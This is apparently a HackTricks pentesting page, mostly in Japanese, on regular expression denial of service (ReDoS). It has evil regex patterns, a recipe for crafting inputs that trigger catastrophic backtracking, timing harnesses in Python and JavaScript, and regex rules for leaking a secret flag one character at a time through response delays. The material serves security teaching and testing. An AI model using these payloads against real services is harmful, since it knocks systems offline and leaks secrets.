Regular expression Denial of Service - ReDoS

Reading time: 10 minutes

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Regular Expression Denial of Service (ReDoS)

A Regular Expression Denial of Service (ReDoS) は、正規表現（テキスト内のパターンを検索・マッチさせる方法）の挙動の弱点を悪用する攻撃です。正規表現の使い方によっては、処理対象のテキストが大きくなると非常に遅くなり、入力サイズが少し増えるだけで処理時間が急激に増加することがあります。攻撃者はこの問題を利用して、正規表現を使用するプログラムを長時間正しく動作しない状態にすることができます。

問題のある Regex（素朴なアルゴリズム）

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

エンジンの挙動と悪用可能性

  • ほとんどの主要なエンジン (PCRE, Java java.util.regex, Python re, JavaScript RegExp) は バックトラッキング 型の VM を使用します。部分パターンに対して多くの重複するマッチ方法が生じるように細工された入力は、指数関数的または高次数多項式的なバックトラッキングを引き起こします。
  • 一部のエンジン/ライブラリは設計上 ReDoS-resilient（バックトラッキングなし）となるよう作られており、例えば RE2 や有限オートマトンに基づくポートは最悪ケースで線形時間を保証します。信頼できない入力に対してそれらを使うことで、バックトラッキングに起因する DoS の原始的手段を排除できます。詳細は末尾の参考文献を参照してください。

Evil Regexes

悪意ある正規表現パターンとは、細工された入力で 処理がハマり DoS を引き起こす ものです。悪意ある regex パターンは通常、繰り返しを含むグルーピングや、繰り返し内部で重なり合う繰り返しや選択（alternation）を含みます。いくつかの例は以下の通りです:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

これらはいずれも入力 aaaaaaaaaaaaaaaaaaaaaaaa! に対して脆弱です。

Practical recipe to build PoCs

ほとんどの致命的なケースは次の形をとります:

  • 脆弱なサブパターンに入るためのプレフィックス（任意）。
  • ネスト／重なり合う量指定子内で曖昧なマッチを生じさせる長い同一文字列（例: 多数の a、_、スペース）。
  • 最終的に全体を失敗させ、エンジンがすべての可能性をバックトラックするように強制する最後の文字（多くの場合、最後のトークンにマッチしない文字、例: !）。

最小の例:

  • (a+)+$ vs input "a"*N + "!"
  • \w*_*\w*$ vs input "v" + "_"*N + "!"

N を増やして、超線形的な増加を観察してください。

クイックタイミングハーネス (Python)

python
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")

ReDoS ペイロード

ReDoS による文字列の外部持ち出し

CTF（または bug bounty）では、機密情報（flag）を照合するRegex をあなたが制御できる場合があります。そうしたとき、Regex がマッチした場合にページをフリーズ（タイムアウトや処理時間の延長）させ、マッチしなかった場合はさせない、という挙動にするのが有用です。こうすることで文字列を1文字ずつ外部へ持ち出すことができます:

  • In this post you can find this ReDoS rule: ^(?=<flag>)((.*)*)*salt$
  • 例: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • In this writeup you can find this one:<flag>(((((((.*)*)*)*)*)*)*)!
  • In this writeup he used: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

The following are ReDoS examples where you control both the input and the regex:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

攻撃者向けの言語/エンジンに関する注意

  • JavaScript (browser/Node): 組み込みの RegExp はバックトラッキングエンジンで、regex+input が攻撃者に影響される場合に一般的に悪用されます。
  • Python: re はバックトラッキングです。長い曖昧な繰り返しと失敗する末尾が組み合わさると、致命的なバックトラッキングを引き起こすことがよくあります。
  • Java: java.util.regex はバックトラッキングです。もし input のみを制御する場合は複雑なバリデータを使うエンドポイントを探してください。patterns（例: stored rules）を制御できる場合、ReDoS は通常簡単です。
  • Engines such as RE2/RE2J/RE2JS or the Rust regex crate are designed to avoid catastrophic backtracking. If you hit these, focus on other bottlenecks (e.g., 巨大なパターン) or find components still using backtracking engines.

ツール

ヒント: input のみを制御する場合は、長さが2倍になる文字列（例: 2^k 文字）を生成してレイテンシを追跡してください。指数的な増加は ReDoS の有効性を強く示します。

参考文献

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする